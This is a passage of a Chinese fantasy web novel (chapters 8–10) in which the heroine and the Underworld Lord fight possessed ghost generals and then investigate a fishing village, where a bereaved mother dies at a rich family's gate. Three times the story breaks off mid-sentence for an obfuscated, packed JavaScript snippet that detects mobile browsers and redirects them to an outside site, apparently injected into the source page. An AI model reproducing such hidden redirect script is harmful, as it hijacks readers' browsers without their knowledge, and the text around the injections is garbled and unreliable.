他洗耳恭听,等来的却不是谢,而是一颗被细白的手指举到他唇边的糖果。 “不想说了,显得你我二人也太生疏了,好歹已经是同生共死的关系了呀。”那两颗比糖果还要晶莹剔透的眸子里闪过一丝狡黠,“我就借花献佛,请你吃颗糖吧!” 易昀的喉结剧烈地滚了一下,那双向来温柔的灰眼睛里突然泻出疯狂的痴迷的渴欲。然而只出现了一瞬,快到让漆瑭以为自己是眼花了。 他谨慎地没碰到两根细白的手指,径直将那颗糖含进口中,灰扑扑的眸子像是平静的湖,“那我合该也谢你一句,多谢。” 漆瑭一愣,“噗嗤”笑出了声:“好了好了,今天我俩光是谢来谢去就说了半夜。这样吧,约法三章,第一条就是——你我之间不必言谢。” 他点点头:“第二条呢?” 少女抬头望天:“还没想好,以后再说。” 她的一举一动、一颦一笑,甚至每一个微妙的眼神变化都印在了他的眼膜上。 舌尖缓缓滚过口中甜得发腻的糖果,硬质的糖磕碰上硬的牙齿,清脆的“格愣”声。 在这甜味里,眼前忽然闪过这样一幕,宛如场景重现—— 仍是那只细白的手,手心里托着一只黄澄澄的杏子,“他”低头,含进口中。 “咔嘣” 硬糖被猛地咬碎,因过于用力,他脸颊的肌肉甚至抽搐了一瞬,表情在那瞬间忽然变得狰狞扭曲。 只这一瞬,少女就察觉到什么似的抬头觑了他一眼。 目之所见,男子眉眼含笑,灰眼睛如柔软的雾,唇上沾了一点糖果的晶莹,显得那片唇分外的红。一派温柔祥和。 她茫然地收回了目光。 易昀敛眸,唇角微微往上扬了一下。 真敏锐啊,他心想。 …… 夜已深,将漆瑭送回冥主殿后,易昀又闪身回到这里。 黑色的靴子踩上宿火花,碾碎一地鲜妍的花汁。 那双灰色的眸子不复温和,冷得像是冬日脏了的雪团。苍白的手轻轻一挥,登时大风起,吹的宽袖鼓荡。无数黑龙乘风而起,呼啸着侵袭满山。 瞳孔中倒映出的片片红粉,一寸寸被黑气侵蚀。一眨、一睁,漫山漫野的宿火花被碾成了花汁,枯败的彻底。天梯寸寸崩裂,汇入失去生机的漫天“花粉”中,自高空簌簌落下,宛若红粉色的大雨。 从今往后,琢光宿火不复存在。 这世上珍贵的是回忆,而最珍贵的是独一无二的回忆。 与她同赏琢光宿火的只有他,也只能是他。 满山黑气归巢般涌回身体,他整个人晃了一下,有瞬间变的透明。随后周身灵气倏然停滞,他像一个能源耗尽的木偶,直挺挺地栽倒地上。 片刻后,他重新站起身。 灰色的眸子消失不见,取而代之的是夜幕般的黑色,“他”一字一句道:“有病。” ** 外冥界,万尘海。 天空很高,一轮硕大弯月永恒不变地悬于空中,令人觉得自己渺小如尘埃。 天是暗沉沉的草绿色,掺着一点老树的黑和枯草的黄。目之所及是一片同样绿色的广袤沙漠,一粒粒沙子像一颗颗死去的草籽。无边无际。 倏地,沙漠中心凭空出现了两个人影。 “哎呀!” 一落地,松软的沙子先吞没了半只鞋,乍然从平地到沙地,黄衣少女有些不适应,左摇右晃然后一屁股墩到了地上。 身旁黑衣青年面无表情地作壁上观,偏偏眼神里淌出一丝未加遮掩的笑意,整个人的气质也不复先前那样冷漠锋利。 她嘟嘟囔囔地站起身,拍了拍裙摆沾上的沙尘,显得极为娇憨。然而背对着青年的一双眼睛,却清醒而冷静。 漆瑭当然不至于真的这么傻,她是装的。 在确保能万无一失逃跑前,适当地与他打好关系是有必要的。不是顺从,也不是谄媚,而是润物无声的攻心——虽然有些困难,但聊胜于无。 她觉得现在的自己,就像在大领导面前装傻扮拙的滑头员工,兢兢业业地刷好感。 “蠢。”领导纡尊降贵地对此进行中肯的评价。 若不是眼神里的笑意让他那张死人脸都变得鲜活起来,漆瑭还真信了他语气里的冷淡与嫌弃。 话落,此人指尖流转的灵气团朝前轻轻一弹。 登时,地面的浮沙开始疯狂旋转,在不远处形成越转越快的漩涡。起先,漩涡在地面上昂起一个沙卷,随后它自下而上往高空冲去。沙粒一层接着一层地被吸入其中,如此层层堆叠,沙卷竟形成接天连地之势。 看来这就是离开冥界进入人间界的通道了。 漆瑭一边打量如此堪称奇景的一幕,一边跟在易昀身后往那通道走。 熟料易昀突然停住了,她紧急刹住脚,险些撞上他。 “不急。”他回头盯着漆瑭,眼底森然的绿意水蛇般一游而过。 漆瑭的心里有一种不祥的预感…… “轰——”、“唰——” 声势浩大的两界通道惊动了蛰伏的某些东西,四面八方满地绿沙下冒出无数石块般硕大的影。沙子自它们身上簌簌洒落,里面的东西显露出真容—— 鬼将。 无数眼眶里燃着蓝紫火的,已被恶蜮的恶念寄生过的鬼将。 这世上身负灵力的,譬如修士、妖精,死后都归传闻中的神界收容。那是个仅闻其声,不知其容的地方。它究竟是不是存在,还不好说,这已经是修士们争论千万年的老生常谈的问题了。 而其余不怀灵力的,譬如凡人、动物,死后便归冥界收容。躯体沉入外冥界的万尘海,魂魄则渡过千仞山、穿过黄泉罅进入内冥界,碎裂重组、转世投胎。 鬼将一词,最初起源于冥主。 在冥主现世之前,冥界对于人间界众人来说也是个类似于神界的地方:祖上传言说有,但谁也不知道这究竟是不是老祖发癔症说的梦话。 直到冥界有主,且因故与人间界有了接触。人们才恍然大悟:哦,原来真有啊,那看来神界也是真的吧! 冥主确乎是千年前才成为冥主的,据说在此之前冥界就是一没规矩的混乱之地。他登任后,立规矩,平乱世,边边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579091|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角角不能都顾到。因此诞生了鬼将。 鬼将的身躯来源于万尘海,魂魄来源于内冥界。冥主挑选了千个魂魄,将其投回他们自己的躯体。死尸复生,需效忠冥主,听从差遣。 不过面前的这些,显然不是传统意义上的鬼将。 它们没有神智,支撑行动的只有身躯中恶蜮残留的恶念。让它们变得浑噩嗜杀。它们死气沉沉地向二人包围过来。 易昀道:“你自己来,别压制实力。”话落,便闪身到沙卷通道旁,独留下漆瑭一人。 她诧异地用手指了指自己长得乖巧无害的脸:“我?” 易昀隔着老远点了点头:“你。” 不知道他又来哪一出,这人总是阴晴不定的。莫非是又瞧她不顺眼了? 鬼将们好似看不到易昀,唯独朝着漆瑭一人围来。上次在地下牢狱里见到的那个,漆瑭没仔细看。这青天白月下,才算是把这些“变异鬼将”的容貌看了个清楚。 皮肤呈黑绿色,裂纹处闪烁着不祥的蓝紫色光芒。身躯异常的肿大,比正常人的身量高了起码两头。更不用提两个眼眶里那两簇鬼火,彷佛下一瞬就要跃出来将人烧个一干二净。 漆瑭身无外物,看来冥主是打算看她赤手相搏了。 她全神贯注地观察着距她最近的一个鬼将。 许是体量太沉,它每迈出一步,整只脚都会陷进沙中。要想再往前走,需得先把脚拔出来。 力量有余,敏捷不足。 漆瑭心中有了计较,先下手为强,她飞奔一步出拳直指鬼将喉结。鬼将察觉到她的挑衅,怒吼一声,挥着巨大的拳头朝她砸来。 熟料漆瑭只是佯攻,她倏地收回攻势,敏捷地一闪绕到鬼将身后,轻盈一跃便扑到它的背上。紧接着骈指捏住一簇灵力,灵气化刃,自他后颈劈下。 “咚——” 一颗头颅滚落沙中,陷入了一半。然后是一具无头尸,双膝猛地跪地,然后缓缓栽倒。 “哇哇——呜哇——” 蓝紫色的火自那碎掉的躯壳里逃逸而出,哭声像个鬼娃娃。 漆瑭双手释出交缠的灵气团,将那紫火裹住,然后用力将其压碎。 “哇!” 随着一声凄厉的尖叫,紫火消失了。 与此同时,漆瑭脑中忽地针扎似的痛,心里忽然涌出无穷无法言说的恶意—— 杀、杀,看到的所有所有,都该死,全都该死…… 甩了甩脑袋,漆瑭才缓缓恢复神智。这仅仅是恶蜮本体残留的一点恶念,竟然恐怖如斯。她将视线落在下一个鬼将身上,掩在袖内的两只手一翻,骈指捏了两道灵力刃,朝它冲去! …… 风卷呼啸,上通天,下到地,在原本平静的万尘海掀起了一场风暴。绿沙如静海,却被风吹成一浪浪的海浪,往人全身上下打去。 满地都是碎尸,这一块、那一块。断裂的手指、皮肤碎块、器官碎块,因为重量太轻,被风吹的满地跑。 风卷通道旁风势更大,隐有呼啸声。易昀黑色的衣袍在疾风中猎猎作响,然而如瀑的黑发却在身后整齐地垂落,半点不受狂风的影响,与那几乎要飞向天去的衣袂形成了鲜明的对比。 视线中那抹黄色的身影已然十足狼狈,鬼将杀不尽似的一茬又一茬。看来恶蜮强行破障受了不小的伤,竟然外溢出如此多恶念。恶念每泻一分,它就会弱一分。 黄色被绿色淹没。 倏地,中心爆出一道璀璨白光。 漆瑭尽全力做出最后一击,震开鬼将的包围,瞅准时机跃了出去。 今时不同往日,所谓“随机应变,见风使舵”,啊不是,是“具体情况,具体分析”。改低头时就低头,该求救时就求救。 “尊上!救命啊——” 8. 水行村 易昀的唇角微不可察地往上挑了一下,身形一闪,黑龙腾跃。 漆瑭周围五步内的鬼将,包括那嘤嘤乱叫的紫火都死了个干净。来者站在她的身后,隔空往她身体里灌了许多灵气。疲惫顿消,漆瑭觉得自己又有劲了。 “继续。”他说。 少女的小脸苦兮兮地往下一耷拉,“还来?尊上,我真不行了,我觉得我累得要原地栽倒了。”她颇合时宜地露出可怜巴巴的倒霉相。 易昀冷哼一声。 装娇弱,装无害?可他分明看出来,她正兴奋得紧。 也不知为何,他莫名觉得格外的……有趣。这感觉像是原本平静的空灵池塘里,忽然扑腾进来一尾鱼,尾巴圆而大,溅起乱糟糟的水花,搅乱了一池凝固般的平静。 易昀指尖灵力如小石子似的,朝她肘关节一弹。 “注意,灵力化盾。” 第二枚,朝她脚后跟一弹。 “借气腾空。” 第三枚…… 漆瑭跟着他的指导再度动身,惊讶地发现灵气竟还能这样用。她像个发现了新玩具的小孩,兴致勃勃地学习、尝试、化用、改造…… 冥主大人指导归指导,最爱的挑剔也没落下:“这才是修士,你先前都是在做什么?灵气刃用得倒是熟练,好了,扎旁人身上连灵气罩都戳不破。你倒好,随随便便什么东西给你一下你就能被戳个透心凉。” “像你这样弱,需得明白遇敌不许强攻,保命为上,你这条命已经变得无比尊贵,本尊似乎早便说过。” “出冥界后远没有如今这般安全轻易,但你不准受伤,不准觉得疼,从头到脚从里到外给本尊保护的严实点……” 漆瑭一边灵巧地在鬼将群中穿梭,一边听着易昀念经一样叨叨不停,一边腹诽道:冥主是这么能说的人吗?他不是高冷挂的吗?天天摆着个死人脸,一副谁也瞧不起的拽样,没想到内里包藏着这样一面啊…… 忽的,有一只手自身后摁到她的肩膀上,竟硬生生把翻腾的正欢的她给摁住了。 漆瑭尚在战斗状态中,几乎是本能地前倾,瞬间转了个圈翻身回去,把那只手的劲给泄了。紧接着四道灵气刃自指尖释出—— “铮——” 易昀挥指打落。 漆瑭见到是他,潜意识说:果然如此!面上却立马摆了一副小心翼翼的惊讶表情:“哎呀,抱歉啊尊上……” 又在装,他莫名感觉太阳穴有点突突的跳。 “本尊说的你可记下了?” “记下了记下了,保护自己,不会受伤。”她小鸡琢米点点头,黑白分明的眼睛圆溜溜的,显得乖巧极了。 四周鬼将的怒吼声倏地凝固,天地骤然一黑,原本已经消失无踪的黑龙竟然再度出现,且这次势头更猛。仅交睫之间,周遭所有的鬼将无一幸免,尽数化作尸块,就连紫火也一声没来得及吭,便全都死了个彻底。 他再度摁上她的肩,手上使劲,示意她集中注意。垂下头,目光牢牢锁住她的双眼,一字一顿道:“记好了,遇到危险保好你的小命,躲着点,等本尊来救。” ** 人间界,灵影州,水行村。 剧烈的海风掠过平静的海面,向岸上的渔村卷来,带着渔□□有的湿润的腥气。码头上船舶云集,桅杆被风吹的左摇右晃,哗啦啦乱响。 “把小猫还给我!” “呦呦呦,小傻子,这傻猫是你的?” “是,是我的!” “这可不巧了,方才这死猫从墙头砸下来,一爪子挠上了咱们青少的胳膊,你说这事……” “我看啊,事情好办,哪只爪子挠了青少,就剁掉哪只爪子好了!” “就是!”“好主意!”“给它剁了!” 行水村今日大街小巷的行人格外稀少,偶有几个匆匆而过的人影,也未曾在这个小巷口驻足。 此时,小巷深处,五个少男恶霸似的将一个女孩团团围住。 其中那个身量不高的小胖子正粗鲁地拎着一只张牙舞爪的狸花猫,凶神恶煞地逼在女孩身前。其余三个则众星捧月似的簇拥着一个身着张扬金袍的少年。 女孩那双眼尾上挑的狐狸眼此时瞪得大大的,满目茫然与无助。她对着拎着狸花猫的小胖连连作揖:“对不住青少,对不住!” 听闻此言,那金衣少年似是实在忍不住了,重重地磨了磨后槽牙,拨开周围的跟班们,径直走到少女跟前。怒声道:“云茴,你给小爷看清楚点,到底哪个是青少!!” 名为云茴的女孩茫然地盯着他看了半晌,不确定地侧了侧身,转而对他开始作揖:“对不住青少,你大人有大量,这次就把小猫放了吧,我……我定会赔偿你的!” 那个拎着猫的被“青少”扒拉到后边去的小胖子,探了个头出来,满脸鄙夷嫌弃地道:“神海奶奶在上,我听见了什么啊?赔偿青少?小傻子,你也不看看自己什么身份,你赔得起吗?” 另外三个也开始附和:“就是,就是!不看看自己的身份,真是天大的笑话!” “都给小爷闭嘴!烦死了!”黄衣少年突然爆发。 空气顿时变得很安静。 他怒气冲冲地拎起云茴的衣领,咬牙切齿道:“你到底是装傻还是真傻!小爷长这样,记住了吗?小爷是青少,青少!” 云茴眨巴着眼,狂点头:“记得了,记得了,能不能把小猫……” 青少看出云茴的敷衍,顿时更生气了,“那死猫抓破了小爷的手,要么你赔一只手给小爷,要么剁了那死猫的爪子!”他高高地举起手,仿佛下一瞬就要扇落在女孩的头上。 云茴害怕地闭紧了眼睛,眼睫毛轻颤。 突然,“嘭——啪!” 云茴浑身一抖,结果,咦,不痛! 她小心翼翼地睁开一只眼,只见小巷中不知何时出现了一个仙女似的姐姐,一脚将青少踹飞了! 正是漆瑭。 漆瑭本来都走过巷口了,出门在外她不想多管闲事,可是走了两步,还是转身回来了。 该死的,忍不了,她这辈子最看不得小女孩被欺负了! 拎着猫的小胖墩惊恐地尖叫起来:“什么人竟然敢打我们青少?!”其余人有的去搀扶青少,有的和小胖子紧紧拥在一起,虚张声势。 “你你你,太嚣张了!”“你可知青少他姐姐是何人?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579092|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 漆瑭阴恻恻地一笑,抬手给了那小胖子一巴掌。接着,以迅雷不及掩耳之速抢回他手里的狸花猫,往小姑娘那边一丢。 狸花猫闪电一般轻巧地跃到地上,毫不犹豫地挡在小姑娘身前,直面小胖,脊背高高地弓起,浑身炸毛。 “你你你,你竟然敢打我!”小胖子又气又恼。 这时,小胖身后一个瘦麻杆少男倏地从袖袋里掏出一柄匕首,气势汹汹地朝漆瑭挥来,嘴里吼道:“胆敢惹我们,你可知青少是谁?!” 漆瑭本不想跟这群凡人小孩动真格的,熟料他们如此不识相。她指尖微动,弹出一团灵力,隔空将那柄匕首打落在地。接着,她左手迅速抓住这瘦麻杆的头发,右手狠狠地一巴掌下去。 “啪——” “不知道,反正不是你。”说完,又是“啪”的一巴掌,“年纪不大,心眼倒是够坏的,恃强凌弱,嗯?”紧接着,第三巴掌隔空呼在那边傻愣住的小胖脸上,“五个人,欺负一个手无寸铁的小姑娘,和一只猫?” 漆瑭终于松了手,颇为嫌恶地甩了甩。 “呜——娘啊!哇啊啊!”瘦麻杆捂住自己立马肿起来的腮帮子,哭爹喊娘起来。 其余人见状不妙,纷纷拔腿而逃。最后只剩下青少,捂着差点摔成两瓣的屁股一瘸一拐,走到巷口他突然回头,问道:“你到底是何人……” 漆瑭威胁性地亮了亮巴掌,他才识相地住嘴,不甘心的眼神在云茴身上打了个圈,才灰溜溜地离开了。 云茴目瞪口呆,好一会才回过神来,结结巴巴道:“多谢……” 然而仙女似的姐姐并未与她多言,转身朝巷口走去,每走一步身影便愈淡一分,直到如水中洇开的墨迹似的,彻底消失不见。 徒留女孩站在原地,喃喃低语:“神仙姐姐……” 巷口,易昀抱着胳膊面无表情地看着这一切。 又是在装给他看吗,这次是什么?正义使者,乐于助人? 不。心里有个声音说,不是,唯独这一次,完完全全、彻彻底底,从里到外都没有伪装。就像斜倚窗边,隔过窗纸描摹窗外若隐若现的梅影时,突然发现竟有一截梅枝戳破了那层薄薄的窗纸,探了进来。 于是惊喜,讶异,甚至无措。 黑褐色的湿漉漉的梅枝,头上开着一朵鲜活的红梅,淡黄色的花蕊像某种昆虫细小的触须,蹭在手指尖,微痒。 现在才是在装。心里那个声音继续说。 少女走回他的身边,换上一个略带羞涩的笑容,“冲动了,耽搁了一小会,不好意思啊尊上。”她从袖袋里摸出一只杏,献宝似的捧到他面前,“咱们走吧。” 淡黄色的杏,和梅花蕊一个颜色。 他接下杏子,盯着它看了一会。突然觉得没意思极了,也许是因为窥见过梅花的真容,现在对那窗纸上的影便格外不满。 拇指与食指轻轻一捻,杏子化作飞灰。 他转身就走,步子迈得很大。 “哎。”少女提起裙摆,小跑着跟上他,“等等我呀!” 易昀在心里冷笑一声。 还“等等我呀”,恐怕在心里已经扇了他不知几个耳光了吧。 9. 玉珰 水行村依山傍海,民风也颇有些彪悍,偌大一个渔村酒肆遍布,却不见一个茶楼。 晌午,天色阴沉沉的,风中除了海腥气,还多了一股雨前独有的闷湿气息。酒旗迎风招展,木桌木椅自室内排到室外,想来鼎盛时期定然是座无虚席。今日许是因着天气,酒客极稀疏,仅零零散散地坐了三五桌。 店小二肩上扣着毛巾,斜倚在柜台上,脑袋一点一点地打着盹。 没人看到自门外边走进来了一男一女。 少女左右瞧瞧,挑选出一个临窗的好位置,笑着对身后的青年说了句什么,便跑过去乖乖地坐下了。 易昀跟着过去,什么“匿声诀”、“隐息诀”、“护身诀”……统统丢在少女身上,若是这些法诀是有形的,定然已经将少女层层缠裹成了一个硕大的茧。 “恶蜮分身,与此前你见过的恶念不同,若将恶念比为恶蜮的血液,那分身就是包含了血肉魂魄的恶蜮的一部分。将你带在本尊身边难免会招致其针对,所以你就在这老实呆着,别乱跑,等本尊回来。” 漆瑭颇为识相的配合点头,“不过尊上,恶蜮只在山上吗?这村里就没有恶念什么的东西吗?” 冥主有一法宝名为云起盘,可以大致感应恶蜮外溢的恶念的方位。二人出冥界时,便是循着云起盘的指引,直接降临于此。 易昀眯了眯眼睛,忽而笑了一下。 他鲜少笑,但是每次笑都没什么好事。这熟悉的感觉,漆瑭眉心一跳。 “恶蜮的气息遍布山、村、海。”易昀食指隔空一点,少女的额间便浮现出一枚朱砂痣,这是影踪印记,方便他随时感应她的位置,“所以,老实点。” 他恐吓完她,肉眼可见地心情变好了。 漆瑭有些无语:你……我……你。 分明不敢真的让她死却总是乐此不疲地吓唬她,请问尊上,您芳龄几岁? 芳龄未明的尊上闪身消失了,只剩下漆瑭百无聊赖地托着腮坐在小板凳上。 她拨了拨右耳的青玉珰,结果那小块圆如珍珠的青玉竟以肉眼可见的速度变红了—— “哎呀,仙子,您……您……” “噗”的一声,青玉变作一个飘在空中的小树精。正是树精小绿。 事情起源于尊上践诺帮执念体季棠延续寿数。执念体是一种气,类似于某种能量体。正如其名,能量体内储存着能量,能够为能量体自身提供支撑。然而,这种能量处于不断消耗的状态,且无法得到补充。就如同一个开闸的蓄水池,水流尽了,水池自然也就空了。 为何有的执念体一刻便会消散,有的执念体却能存世一年。就是因为它们原本的能量储蓄不同,蓄水池内的水量不同。 为何有的执念体只能被特定的某些人看到,有的执念体却能被所有人看到。就是因为它们的水闸开合大小不同,耗能速度不同。 易昀为之采取的方式是:关闭水闸。水不流了,水池自然也就不会空了。 他将执念体团吧团吧揉成一个白玉耳珰,被漆瑭挂在了左耳上,她随时可以打开水闸,唤醒季棠的意识。其余时候,季棠都在沉睡。 那一幕恰好被小绿瞧到了。它虽看不见执念体季棠,却清楚地知道,有个什么存在变成了耳珰时刻陪在仙子身边。 好羡慕,好羡慕! 它羡慕的实在太明显,两只圆溜溜的绿眼睛像是着了火,漆瑭看不见是不可能的。想了想树精熬制糖果的好手段,她便顺嘴央求易昀把小绿当成添头给带上了。 于是乎,少女的左耳多了一只白玉珰,右耳呢,多了一只青玉珰。 “那些凡人看不见你吗?你怎直接现了原形?” 小绿点点头,“瞧不见我!不过,我也可以让他们瞧见!”说着,肚子皮球似的鼓了起来,仿佛下一刻就要为她证明一番。 “停停停,看不见最好。”漆瑭挥手揉了揉小绿的脑壳,止住它的动作。 气球“噗呲”泄了气,再度由绿转红。 漆瑭支着脑袋,思索道:“渔港的船停得满满当当,渔民们都没出海……街上、店里人也稀少,他们去哪了呢?正午头,饭堂没几家开门的,私宅屋顶也没多少炊烟……我总觉得这村子有古怪。你去偷听一下,那桌四个人在低声聊什么。” 小绿依言飘了过去,像一片巨大的树叶在四人周围穿来穿去。 酒肆内,喝酒的喝酒、密谋的密谋、打盹的打盹;酒肆外,风卷过空旷的街巷,树叶在风里低掠而过。 没一会,小绿飘了回来。那张憨厚的小肥脸难得露出一副沉思的表情,然而更多的还是茫然,“仙子,他们说,天上会下鲛珠啊!” ** 恶蜮吸食众生的恶念为生,然而当它过于虚弱时,譬如被镇千年、譬如强行打破两界通道,那它就需要“进补”了。 恶蜮进补就没这么多讲究,堪称百无禁忌,什么“生气”、“火气”、“腐气”等等,都在它的食谱上。它“进补”自然也不会分的那么细,通常是连躯体带魂魄整个的吞下肚,能消化的便“补”了,消化不掉的便排出。 这样看来恶蜮此物近乎无敌了,然而这天下自然还是有那么几分公平的。恶蜮虽强,但恶念侵蚀是一个循序渐进的过程,侵蚀对象体内灵力越低、神智越不坚定,被侵蚀的速度就越快、侵蚀程度也越深。 更为重要的是,恶蜮进补需“献祭”这一过程。无论是人还是妖,只有被同类打上“祭品”标签,并明确是献给恶蜮伪装的身份时,它才得以通过吞噬进补。 季棠刚醒来没多久,睡眼惺忪地将自己知道的一切倒豆子似的倒出来。 “再多的我也不晓得了……恶蜮毕竟是存在于传说里的东西,传言究竟是真是假也很难说。” 季棠的话里有两个重点:第一是进补,第二是献祭。这应当就是恶蜮活跃在水行村的原因。 漆瑭问小绿道:“那些人方才说的‘天上下鲛珠’是怎么一回事?” 小绿拧起没有眉毛的额头,“他们没有细说,讲话跟打哑谜似的,什么‘能分几两’、‘约莫上百’、‘狗还是猫’……然后就不再说了,开始聊‘今早吃了么’这样的话题。” 渔船 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579093|143077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、海、鲛珠,种种迹象表明海里也有古怪。 可冥主径直去了山上…… 他走的是一力降十会的路子,所以未曾在意水行村的古怪,而是打着大不了将山掀了的主意。 漆瑭却直觉这次的事没这么简单。 别管闲事,别管闲事,她跟自己说,这个世界的事情本也与她没什么干系…… 酝酿了半晌,雨云终于从海上赶了过来,天色被涂黑,大雨“唰”地倒了下来。雨滴溅在青石板地面上,碰撞出成浪的水汽,水汽一浪赶着一浪,直到连成一片绵延的白雾。 小绿去给她偷了一盅店里常见的果子酒。酿的极辛辣,后劲里滚着刺鼻的酸意,漆瑭喝了一口便被呛出泪来。 “哎呀,仙子!”小绿手忙脚乱地剥了一只她爱吃的甜橘,喂到漆瑭唇边。她就着小绿的手吃进口中,惊觉自己现在好像变得格外娇气…… 从前在星际世界,物资匮乏,直到她当了兵经济情况才有所改善。可是经济改善了,空闲时间却不多了,就是传说中“有钱没时间花”,更不要说她当了两年兵就意外死翘了……更是什么也没来得及享受。 那时候就算喝到过期营养液,酸臭得有些呛鼻,她顶多也只是默默吐了便罢了,甚至有时还会硬着头皮、捏着鼻子咽下去。 怎么来到这个世界后就放飞自我了,一点酸的也吃不得了? 她想了想,把这归结于树精们的关怀实在是太殷勤备至了,奢靡的生活当真害人不浅! 在无人瞧得见的酒肆窗前,绿色的小树精飘在半空勤勤恳恳地剥橘子,短而胖的小手捻着一瓣瓣晶莹剔透的月牙似的橘子喂到少女的唇边。少女支着腮,一边吃橘子,一边百无聊赖地赏雨。 窗外的水雾弥漫里,忽然走过一个古怪的身影。 头戴斗笠,身披蓑衣,脚踩雨靴,整个人被裹得严严实实的。此情此景下这样的装扮也说不上古怪,让漆瑭觉得古怪的,是那人给她的感觉…… 混乱、嘈杂、尖锐,凝视他的那瞬似有无数蚂蚁在脑膜上攀爬,令人头皮发麻。 他走得很快,一会就要消失无踪了。 漆瑭的心里仿佛有两个小人在打架—— 小甲:别管闲事,这事交给冥主就是了,是对是错反正都是他来承担后果,跟你何干? 小乙:可若不是因为心契,恶蜮怎么会逃逸?说到底还是赖你。 小甲:既然它能跑说明那结界本就有问题,恶蜮会逐渐被削弱,那结界肯定也是日渐衰弱。今日不是你,明日也会是别人,任何一个契机就会打破那微妙的平衡,它早晚会跑的,跟你何干? 小乙:那样想太自私了!退一万步来说,你可以什么也不做,却不能明知问题所在却佯装不知,你的良心能安吗? 小甲:你就是一个自私的人啊,人不为己天诛地灭,还没学会吗?良心,良心能当饭吃吗? …… “走。”漆瑭将小绿手中所剩无几的橘瓣一口吞掉,一把捞起小树精,大步追了出去。 去看看怎么了?她又不会真的做什么。 10. 女人之死 忍宅。 水行村中数一数二的豪宅,四进院落,青石其砌成坚固的外墙,朱红色大门高大而厚重,在雨雾中愈发红艳,宛如某种巨兽的口。 大门两侧各挂一只红灯笼,在风雨中飘摇得格外凌乱。 漆瑭在门前徘徊。 方才那朱门开了一条缝,蓑衣人便钻了进去。她本打算翻墙进去,反正这些人都看不穿冥主留在她身上的各种匿声隐形诀,熟料忍宅外围竟设有结界。 她没办法悄无声息地破界而入。 雨势不减,急而密的雨点滴落在漆瑭周身撑起的避水罩上,泛起无数涟漪。大雨中忽传来隐约女人的哭声,由远及近,在空荡的雨巷里莫名有些诡异的空灵。 青玉耳珰怕得瑟瑟发抖,漆瑭觉得有些好笑,你一个冥界的树精,真鬼都见了不知多少,还会怕不知真假的鬼? 雨幕里渐出现了一个灰扑扑的女人身影,灰褐色布衣,是最寻常的百姓衣裳。她怀里抱着一捧颜色鲜艳的布,紧紧扣在心口的位置,一步一哭,看起来有些疯癫。她朝着这里走来。 凡人没有避水罩,竟也没有撑伞,任由磅礴大雨将浑身浇湿。女人乌黑的长发一缕一缕贴缠在脸上、脖颈间,好似一道道鬼爪印。 漆瑭走到她身边,才听清那哭声里掺杂着细微的呢喃:“我母女二人相依为命,乖宝,你不在了,娘也不会活了……可是他们该死!他们该死啊!我就是做鬼也不会放过他们的!神海奶奶啊,你究竟有没有眼,睁开看看啊,看他们做的事!他们合该天打雷劈!” 女人叩门,先是用手,见叩不开,转而用脚,踢到筋疲力尽,她便用指甲抓门。抓、挠、咬,近乎疯魔。 朱红色的大门一动不动,红色的底上又添了几道血红色的抓痕。 漆瑭看得眉心一跳,打算将这女人敲晕了带走,寻个无人处把匿声隐形诀抹了,问问她话。 “神海奶奶,如今下了这般大的雨,为何却不降雷惩治他们?我知道了……”女人喃喃,“定是雷没找到路。没有路,我来引路!” 漆瑭忽有一种不祥的预感,然而此事实在没头没尾,她隐约抓到了什么,却又觉得不甚明朗。伸手欲给这女人一手刀,熟料这个凡人之躯竟以迅雷不及掩耳之势一头撞上了朱色的大门! 大门厚重,然而更坚硬的是忍府无形的结界。 “咔嚓——”一声极其细微的骨裂声。 女人的脖颈像被掐断的花茎,头颅像欲断不断的花头,顿时耷拉了下去。鲜妍的血红花汁混进满地雨水中,像是朱红大门的倒影。 纹丝不动的大门终于缓缓打开了,门缝里跃出一个家丁模样的人,将女人的尸体拖了进去。她怀里的鲜艳布料散落一地,漆瑭也终于看清楚了那是什么—— 是孩童的小衣,有短褂、小裤、头巾……干干净净、整整齐齐,散落了就凌乱了,甚至沾上雨水中女人的血液,变得脏污不堪。 家丁顶着斗笠,颇为嫌弃地将满地小衣捡垃圾似的搂了进去。 大门闭合了。 门檐上两个血红色的灯笼在风里摇来晃去,像两只骨碌碌的眼珠。 门上、门前的血迹被风打来的雨水冲刷、稀释,直到消失无踪。安静的仿佛什么也未曾发生。 漆瑭站了一会,面无表情地转身离开。 ** 这场雨来得快,去得也快,没一会,瓢泼大雨就变成了毛毛细雨,落在人的脸上,有细密的痒意。 整洁的小院里,檐下的木盆接了满盆雨水。 隐约传出屋内一老一少的交谈声—— “阿茴啊,抓紧,鸡快要炖好了。” “晓得了奶奶,我很快的!不过,这两日怎么吃的这样好啊?杀了鸭,又宰了鸡,奶奶,咱家不卖蛋了吗?” 